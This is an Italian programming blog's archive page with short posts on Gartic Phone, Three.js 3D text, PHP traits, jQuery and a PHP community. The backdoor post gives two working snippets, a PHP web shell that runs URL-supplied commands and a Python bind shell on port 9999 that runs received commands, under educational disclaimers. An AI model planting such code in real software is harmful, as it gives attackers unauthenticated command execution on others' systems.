Tag: Mondo codice 🖥

  • Che cos’è Gartic Phone

    Che cos’è Gartic Phone

    Gartic Phone è un gioco online multiplayer che combina elementi di Pictionary e del gioco del telefono senza fili. È stato sviluppato da Onrizon Social Games e può essere giocato gratuitamente tramite browser web. Un gioco che generalmente è apprezzato per la sua semplicità, la possibilità di creare risate grazie agli errori di interpretazione e la sua capacità di coinvolgere amici e famiglie in una sfida creativa e divertente.

    Ecco una panoramica di come funziona Gartic Phone:

    1. Creazione della stanza: Un giocatore crea una stanza di gioco e invita altri giocatori a partecipare tramite un link condivisibile.
    2. Scelta del tema o delle parole: Ogni giocatore inserisce una frase o una parola che gli altri dovranno disegnare. Può essere un tema specifico, un oggetto, un’azione o qualsiasi altra cosa.
    3. Fase di disegno: Ogni giocatore riceve una frase o una parola da disegnare. Devono creare un disegno rappresentativo di quella frase nel tempo limitato.
    4. Descrizione dei disegni: Una volta completato il disegno, questo viene passato a un altro giocatore che deve descriverlo con una frase.
    5. Ripetizione del ciclo: Questo ciclo di disegno e descrizione continua per diversi turni, a seconda delle impostazioni della partita.
    6. Rivelazione finale: Alla fine del gioco, viene mostrata l’evoluzione di ciascuna frase iniziale attraverso i vari disegni e descrizioni, spesso con risultati divertenti e inaspettati.

    Ecco un video che fa vedere una sessione di gioco.

    Come è stato sviluppato?

    Gartic Phone, essendo un gioco online accessibile tramite browser, è molto probabilmente (non abbiamo certezze) sviluppato utilizzando una combinazione di linguaggi e tecnologie web comuni. Questi includono:

    1. JavaScript: Utilizzato per la logica del gioco e l’interattività. JavaScript è fondamentale per creare un’esperienza utente dinamica e reattiva.
    2. HTML5: Utilizzato per la struttura della pagina web. HTML5 supporta canvas, che è essenziale per la parte del disegno del gioco.
    3. CSS: Utilizzato per lo stile e la presentazione del gioco, rendendolo visivamente attraente e user-friendly.
    4. Node.js: Probabilmente utilizzato per il backend del gioco. Node.js permette di eseguire JavaScript sul lato server, gestendo le connessioni in tempo reale necessarie per un gioco multiplayer.
    5. WebSocket: Utilizzato per la comunicazione in tempo reale tra il client (browser) e il server. WebSocket permette una comunicazione bidirezionale efficiente, essenziale per un gioco interattivo e in tempo reale come Gartic Phone.
    6. Librerie e framework:
      • React o Vue.js: Potrebbero essere utilizzati per costruire l’interfaccia utente in modo più modulare e manutenibile.
      • Express.js: Un framework per Node.js che potrebbe essere utilizzato per gestire le richieste HTTP e la logica di routing.
    7. Canvas API: Una parte dell’HTML5, utilizzata per il disegno grafico direttamente nel browser. La Canvas API permette di disegnare e manipolare grafica 2D con JavaScript.

    Questa combinazione di tecnologie consente di creare un gioco che è accessibile direttamente dal browser senza la necessità di scaricare software aggiuntivo, offrendo al contempo un’esperienza fluida e interattiva per i giocatori.

  • Che cos’è una backdoor

    Che cos’è una backdoor

    Una backdoor è un metodo segreto per ottenere accesso a un sistema, un’applicazione o una rete, bypassando le normali misure di sicurezza. Le backdoor possono essere installate da sviluppatori con intenzioni maligne, da cybercriminali o persino da attori statali per mantenere l’accesso ai sistemi compromessi.

    Esempi pratici di backdoor

    1. Backdoor su un server web:
      • Un attaccante compromette un server web e carica uno script PHP che gli consente di eseguire comandi arbitrari sul server.
    2. Backdoor in un’applicazione:
      • Un’applicazione scaricata da una fonte non affidabile contiene codice nascosto che permette a un attaccante di controllare il computer dell’utente.
    3. Backdoor hardware:
      • Chip o componenti di un dispositivo che contengono codice nascosto che può essere attivato per fornire accesso remoto o per compromettere la sicurezza del dispositivo.
    4. Backdoor in software di rete:
      • Un software di gestione della rete che include una funzione nascosta per accedere a tutti i dispositivi gestiti da quel software.
    5. Trojan horse:
      • Un programma apparentemente innocuo che contiene una backdoor nascosta che si attiva dopo l’installazione.

    Creare una backdoor in PHP

    Attenzione: Questo esempio è solo a scopo educativo per comprendere come funzionano le backdoor. Non deve essere utilizzato per scopi illegali o non etici.

    Un semplice script PHP che funge da backdoor potrebbe essere così:

    <?php
    if(isset($_GET[‘cmd’])) {
    system($_GET[‘cmd’]);
    }
    ?>

    Questo script prende un comando passato via URL e lo esegue sul server. Ad esempio, http://example.com/backdoor.php?cmd=ls eseguirà il comando ls sul server. Chiaro che, in questa veste del tutto ipotetica, chiunque può eseguire comandi mediante la manipolazione di un URL, e senza essere nemmeno autenticato!

    Creare una backdoor in Python

    Analogamente, un semplice script Python che funge da backdoor potrebbe essere:

    import socket
    import subprocess
    
    def backdoor_example():
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.bind(('0.0.0.0', 9999))
        s.listen(1)
        conn, addr = s.accept()
    
        while True:
            cmd = conn.recv(1024)
            if cmd:
                proc = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
                output = proc.stdout.read() + proc.stderr.read()
                conn.send(output)
        conn.close()
    
    if __name__ == "__main__":
        # .....
        # .....
        # .....
        # da qualche parte nel codice:
        backdoor_example()
        # .....
        # .....
        # .....
    
    
    

    Questo script apre una porta (9999) e ascolta i comandi inviati a quella porta, eseguendoli e inviando indietro l’output. Può essere chiaramente usata sia a scopo benefico che per usi malevoli.

    Avviso

    Implementare o utilizzare backdoor può essere illegale e non etico. Questi esempi sono forniti esclusivamente per scopi educativi per comprendere la natura e i rischi associati alle backdoor. È importante utilizzare le proprie competenze tecniche in modo responsabile e legale. Se scopri una backdoor o sospetti la presenza di una backdoor nel tuo sistema, segnala immediatamente l’incidente alle autorità competenti e ai responsabili della sicurezza informatica.

  • Come creare un testo 3D in HTML

    Come creare un testo 3D in HTML

    Questo tutorial fornisce una base per iniziare a creare scritte 3D con Three.js. Puoi sperimentare aggiungendo nuovi effetti, materiali o modificando il testo e la scena secondo le tue preferenze. Buon divertimento!

    Cos’è Three.js

    Il supporto nativo al 3D non è disponibile in Javascript, per cui è impossibile creare grafica di questo tipo con JS puro. Possiamo pero’ farlo includendo three.js, che troviamo come libreria da includere “al volo”, volendo, semplicemente così:

    <script src=”https://cdnjs.cloudflare.com/ajax/libs/three.js/r128/three.min.js”></script>

    Three.js è un framework open source che viene distribuito sotto la licenza MIT, che è una licenza permissive che consente un’ampia libertà d’uso, inclusa l’utilizzo in progetti commerciali. La licenza MIT è una delle licenze open source più flessibili disponibili e permette agli sviluppatori di utilizzare, modificare e distribuire il codice senza molte restrizioni. In sostanza, puoi utilizzare Three.js liberamente nei tuoi progetti, inclusi progetti commerciali, senza alcun costo di licenza. Tuttavia, è sempre consigliabile leggere attentamente i dettagli della licenza forniti con il framework per comprendere appieno i termini e le condizioni di utilizzo.

    Ecco un tutorial passo-passo per creare una semplice scritta 3D utilizzando Three.js:

    Tutorial: Creazione di una Scritta 3D con Three.js

    Passo 1: Preparare l’ambiente di sviluppo

    Assicurati di avere un editor di testo o un IDE installato sul tuo computer. Creeremo un file HTML e useremo JavaScript per scrivere il codice Three.js. Per fare dei test basta creare un file .html e riempirlo di quello che abbiamo riportato, usandolo come template.

    Passo 2: Configurare il documento HTML

    Crea un nuovo file HTML e crea come primo passo la struttura di base. Se cerchi un ripasso veloce su HTML e tag lo trovi qui.

    <!DOCTYPE html>
    <html lang="en">
    <head>
    <meta charset="UTF-8">
    <title>3D Text with Three.js</title>
    <style>
    body { margin: 0; }
    canvas { display: block; }
    </style>
    </head>
    <body>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/three.js/r128/three.min.js"></script>
    <script>
    // Il nostro codice Three.js andrà qui dentro: sarà molto semplice :-)
    </script>
    </body>
    </html>

    Passo 3: Creare una scena, una camera e un renderer

    La scena, la camera e il renderer sono tre componenti fondamentali all’interno di un ambiente di sviluppo con Three.js e svolgono ruoli chiave nella creazione e visualizzazione di grafica 3D. Ecco una spiegazione di ciascuno di essi:

    1. Scena (Scene):
      • La scena rappresenta l’ambiente 3D in cui avvengono tutte le azioni. Contiene tutti gli oggetti, luci e altri elementi che compongono la tua scena virtuale.
      • Puoi aggiungere oggetti, luci, sfondi e altro ancora alla scena per creare l’ambiente desiderato.
      • Tutti gli oggetti nella scena sono posizionati e orientati rispetto a un sistema di coordinate 3D.
    2. Camera:
      • La camera definisce la vista della scena e determina come gli oggetti nella scena vengono visualizzati sullo schermo.
      • Ci sono diversi tipi di telecamere disponibili in Three.js, tra cui la camera prospettica (PerspectiveCamera) e la camera ortografica (OrthographicCamera). La camera prospettica simula il modo in cui vediamo il mondo reale, con prospettive e effetti di profondità, mentre la camera ortografica visualizza la scena senza prospettiva, utile per visualizzare oggetti in modo uniforme senza distorsioni prospettiche.
      • Puoi regolare la posizione, l’orientamento e altri parametri della camera per controllare la vista della tua scena.
    3. Renderer:
      • Il renderer è responsabile di convertire la scena 3D e la camera in una rappresentazione bidimensionale (2D) che può essere visualizzata sullo schermo.
      • Three.js supporta il rendering WebGL, che sfrutta la potenza della grafica accelerata dalla GPU per ottenere prestazioni elevate nelle applicazioni web 3D.
      • Il renderer gestisce anche aspetti come la gestione delle luci, delle ombre e degli effetti speciali all’interno della scena.
      • Puoi configurare il renderer per definire la risoluzione, gli effetti di post-processing, il tipo di antialiasing e altre opzioni per ottimizzare la qualità e le prestazioni della tua visualizzazione 3D.

    In sintesi, la scena contiene tutti gli elementi della tua simulazione o applicazione 3D, la camera determina come la scena viene visualizzata, e il renderer si occupa di trasformare la scena e la camera in un’immagine 2D che può essere visualizzata sullo schermo.

    Adesso aggiungeremo il codice per inizializzare una scena, una camera e un renderer all’interno del tag <script>:

    // Creare una scena
    const scene = new THREE.Scene();
    
    // Creare una camera
    const camera = new THREE.PerspectiveCamera(75, window.innerWidth / window.innerHeight, 0.1, 1000);
    camera.position.z = 5;
    
    // Creare un renderer
    const renderer = new THREE.WebGLRenderer();
    renderer.setSize(window.innerWidth, window.innerHeight);
    document.body.appendChild(renderer.domElement);

    Passo 4: Aggiungere una luce ambiente e una luce direzionale

    Per una migliore illuminazione e ombre, aggiungiamo una luce ambiente e una luce direzionale:

    // Creare luce ambiente
    const ambientLight = new THREE.AmbientLight(0xffffff, 0.5); // Luce bianca
    scene.add(ambientLight); // Creare luce direzionale const directionalLight = new THREE.DirectionalLight(0xffffff, 1); // Luce bianca directionalLight.position.set(10, 10, 10); scene.add(directionalLight);

    Passo 5: Caricare il font e creare la scritta 3D

    Utilizzando FontLoader, carichiamo un font e creiamo la scritta 3D:

    const loader = new THREE.FontLoader();
    loader.load('https://cdn.jsdelivr.net/gh/mrdoob/three.js/examples/fonts/helvetiker_regular.typeface.json', function (font) {
    const geometry = new THREE.TextGeometry('Hello, World!', {
    font: font,
    size: 1,
    height: 0.1,
    curveSegments: 12,
    bevelEnabled: true,
    bevelThickness: 0.05, // Aumentare lo spessore dello smusso
    bevelSize: 0.03, // Aumentare la dimensione dello smusso
    bevelOffset: 0,
    bevelSegments: 5
    });
    const material = new THREE.MeshStandardMaterial({ color: 0xffffff }); // Materiale standard per ombre
    const textMesh = new THREE.Mesh(geometry, material);
    textMesh.castShadow = true; // Abilitare la proiezione delle ombre
    scene.add(textMesh);
    });

    Passo 6: Creare un’animazione

    Aggiungiamo una piccola animazione per rendere la scena nel tempo (è una camera fissa, in questo caso, necessaria a visualizzare qualcosa di concreto):

    function animate() {
    requestAnimationFrame(animate);
    renderer.render(scene, camera);
    }
    animate();

    Passo 7: Testare il codice!

    Salva il file HTML e aprilo nel tuo browser. Dovresti vedere la scritta 3D “Hello, World!” con ombre e illuminazione. Trovi il codice completo e funzionante qui.

    Come regolare la posizione della scritta

    Per regolare la posizione della scritta 3D nella scena, puoi modificare le coordinate della sua posizione dopo aver creato il mesh. Nell’esempio fornito nel tutorial, puoi aggiungere una riga per impostare la posizione del mesh textMesh prima di aggiungerlo alla scena. Ad esempio, se desideri posizionare la scritta al centro della scena lungo l’asse x, puoi fare qualcosa del genere:

    textMesh.position.x = -2; // Imposta la posizione lungo l'asse x
    scene.add(textMesh);

    Nel codice sopra, ho impostato la posizione x a -2, che sposterà la scritta a sinistra rispetto al centro della scena. Puoi sperimentare con diverse coordinate per ottenere la posizione desiderata per la tua scritta. Puoi anche regolare le coordinate y e z allo stesso modo, se necessario, per posizionare la scritta lungo gli altri assi.

  • Php Italia: arriva la nuova community dedicata a tutti gli appassionati di PHP

    Php Italia: arriva la nuova community dedicata a tutti gli appassionati di PHP

    Tutti gli appassionati di programmazione e informatica saranno felici di sapere della nascita di una nuova community tutta italiana completamente dedicata a chi vuole imparare, confrontarsi e scoprire sempre di più sul linguaggio PHP.

    Questo nuovo spazio online si pone come uno spazio completamente dedicato a chi desidera esplorare e approfondire le proprie conoscenze nel linguaggio di programmazione PHP, una delle tecnologie più utilizzate nel mondo dello sviluppo web.

    Una community che cresce sempre più velocemente

    PHP Italia non è solo un sito web, ma una piattaforma che invita gli utenti a interagire, condividere e crescere insieme. Al centro di questa community c’è il sito PHP Italia, dove gli utenti possono trovare risorse, aggiornamenti e tutorial.

    Per chi cerca un dialogo diretto e istantaneo, è attivo anche un gruppo su Telegram, accessibile tramite PHP Italia Community, che permette agli iscritti di scambiare idee, risolvere dubbi e rimanere aggiornati sulle ultime novità ed eventi.

    Impara da zero con il corso PHP Base

    Oltre all’impegno per la creazione di una community coesa e pronta a supportarsi, i fondatori del sito PHP Italia mettono a disposizione di tutti i neofiti il Corso PHP Base, un programma educativo accuratamente strutturato per chi è nuovo al mondo della programmazione o desidera solidificare le sue basi in PHP.

    Questo corso è aperto a tutti, da chi non ha mai programmato a chi ha già esperienza ma vuole approfondire specificamente PHP.

    Il corso accoglie chiunque voglia imparare a programmare in PHP, offrendo un percorso formativo che parte dalle basi fino a toccare concetti più avanzati. Non è richiesta una precedente esperienza di programmazione, rendendolo ideale sia per principianti che per sviluppatori esperti interessati a diversificare le loro competenze.

    Il corso è progettato per essere seguito passo dopo passo. Ogni modulo presenta lezioni teoriche accompagnate da esercizi pratici. Gli studenti sono incoraggiati a partecipare attivamente nel forum di PHP Italia, dove possono discutere i moduli, condividere dubbi e scoperte, e apprendere attraverso l’interazione con altri appassionati.

    Oltre al corso di base, PHP Italia offre una vasta gamma di risorse pensate per supportare gli utenti nel loro percorso di apprendimento continuo e per rimanere sempre aggiornati sulle evoluzioni del linguaggio.

    PHP Italia: un corso e una community che ti insegnano a programmare

    PHP Italia è una nuova risorsa per tutti coloro che vogliono approfondire o avvicinarsi al mondo della programmazione nel linguaggio PHP. Questa piattaforma non è solo un semplice sito di apprendimento, ma un vero e proprio ecosistema in cui aspiranti programmatori e sviluppatori esperti possono trovare una vasta gamma di strumenti dedicati, un supporto continuativo e una community vibrante e partecipativa.

    Oltre ai corsi strutturati, PHP Italia offre una serie di risorse aggiuntive che arricchiscono l’esperienza di apprendimento. Gli utenti possono accedere a webinar, tutorial video, e articoli di approfondimento che coprono argomenti avanzati e tendenze attuali nel campo del PHP. Questi materiali sono costantemente aggiornati per riflettere le novità del settore, assicurando che la community rimanga all’avanguardia.

    La community di PHP Italia è uno degli aspetti più vitali della piattaforma. Attraverso il forum, il gruppo Telegram e i social media, i membri possono connettersi, condividere conoscenze, discutere problemi di programmazione e trovare soluzioni insieme. Questo ambiente collaborativo non solo accelera l’apprendimento individuale ma rafforza anche il senso di appartenenza e di supporto reciproco tra gli utenti.

    Unendoti a PHP Italia puoi facilmente iniziare o continuare il tuo percorso per imparare e migliorare nella programmazione in PHP, avvalendoti di strumenti di apprendimento collaborativi e del supporto di una community attiva e pronta ad accogliere nuovi membri. Foto di StockSnap da Pixabay

  • Trait PHP: che cosa sono e come si usano

    Trait PHP: che cosa sono e come si usano

    I trait PHP sono disponibili a partire dalla versione 5.4.0 di PHP, e sono un paradigma per creare codice riutilizzabile sfruttando una sorta di ereditarietà  multipla; in genere, infatti, i linguaggi tipo OO (Object Oriented) sfruttano esclusivamente l’ereditarietà  singola, cioè una classe può ereditare metodi e caratteristiche da parte di una singola altra classe. Con l’ereditarietà  multipla una classe può prendere caratteristiche da più di una classe, ed il trait serve esattamente a questo scopo.

    Che cos’è un trait PHP?

    Un Trait per molti versi è simile ad una classe PHP, ma non è istanziabile come avviene per le classi; essa, piuttosto tende a definire un comportamento e a definirne l’ereditarietà  multipla. Un Trait è in qualche modo simile a una classe PHP, ma ha solo lo scopo di raggruppare le funzionalità in modo dettagliato e coerente.

    Non è possibile istanziare un trait in modo stand alone: si tratta sempre di un’aggiunta all’eredità tradizionale e consente la composizione orizzontale del comportamento; cioè, l’applicazione dei membri della classe senza richiedere l’eredità.

    Un trait viene definito come una specie di classe o funzione auto-conclusiva:

    trait message1 {
    public function msg1() {
    echo "Sono il messaggio 1, giusto per esempio.";
    }
    }

    che poi abbiamo la possibilità di richiamare all’occorrenza mediante use:

    class Welcome {
    use message1;
    }

    Un esempio dovrebbe chiarire il concetto, a questo punto.

    Esempio di trait PHP

    Abbiamo detto che un trait non è istanziabile come “stampo” di un oggetto, bensì deve essere usato da una classe mediante la clausola use; un esempio dovrebbe aiutare a capire di che cosa parliamo. Un esempio pratico permette di ridurre la duplicazione di parti di codice, cosa molto utile per mantenere la leggibilità e l’efficenza sempre elevata.

    <?php
    trait message1 {
    public function msg1() {
    echo "Sono il messaggio 1, giusto per esempio.";
    }
    }
    
    trait message2 {
    public function msg2() {
    echo " Sono il messaggio 2, e servo a non scrivere codice inutile.";
    }
    }
    
    class Welcome {
    use message1;
    }
    
    class Welcome2 {
    use message1, message2;
    }
    
    $obj = new Welcome(); //prima istanza classe di prova
    $obj->msg1();
    echo "<hr>"; //richiamo solo primo trait
    
    
    $obj2 = new Welcome2(); //altra istanza classe
    $obj2->msg1(); //richiamo il primo trait
    $obj2->msg2(); //richiamo il secondo trait
    ?>

    Questo esempio restituirà:

    Sono il messaggio 1, giusto per esempio.


    Sono il messaggio 1, giusto per esempio. Sono il messaggio 2, e servo a non scrivere codice inutile.

  • Javascript: cos’è e come funziona

    Javascript: cos’è e come funziona

    javascript photo
    Photo by Dmitry Baranovskiy

    Javascript è un linguaggio client-side molto utilizzato all’interno dei siti web, nonostante venisse visto con un certo scetticismo negli scorsi anni, per via di modifiche ed azioni con convenzionali che consente di effettuare sulle pagine (con qualche svantaggio in termini di motori di ricerca ed usabilità ). Se da un lato aumenta l’interattività  dei siti, infatti, dall’altro permette di effettuare redirect non convenzionali, aprire fastidiose finestre di popup e rendere l’esperienza del sito decisamente poco gradevole, se usato in un certo modo.

    Javascript permette, eventualmente sfruttando appositi framework open source, di:

    • modificare elementi HTML sotto certe condizioni;
    • effettuare operazioni di aggiornamento anche mediante database ed interrogazione di linguaggi server-side (ajax);
    • realizzare effetti grafici;
    • implementare interfacce pratiche ed accattivanti (ad esempio mediante trigger);
    • collegarsi ad API esterne per gli usi più svariati (in senso lato, anche server side: richiedi dei dati specifici, ed il server te li fornisce mediante libreria senza farti installare nulla lato server)

    Javascript quindi permette di rendere le pagine web più interattive, e grazie all’uso di apposite librerie open source di framework (jQuery è una delle più famose) tali operazioni sono diventate molto più semplici, a patto di conoscerne ed adattarsi alla sua logica. Ragionando in ottica di un linguaggio orientato agli eventi, jQuery permette ad esempio ad uno script di essere eseguito non all’apertura della pagina bensì, più coerentemente, quando il caricamento del markup HTML sul client è avvenuto in modo completo.

    Per farlo basterà  scrivere in un blocco di markup Javascript:

    $( document ).ready(function() {
    alert ("questo codice viene eseguito alla fine caricamento della pagina");
    });
    

    Sono disponibili per jQuery numerosi opzioni, e tutti i webmaster dovrebbero conoscerlo approfonditamente: per maggiori informazioni riportiamo un minimo di tutorial sull’argomento che possono risultare molto utili.

    http://www.jqueryitalia.org/
    http://learn.jquery.com/about-jquery/how-jquery-works/
    http://www.w3schools.com/jquery/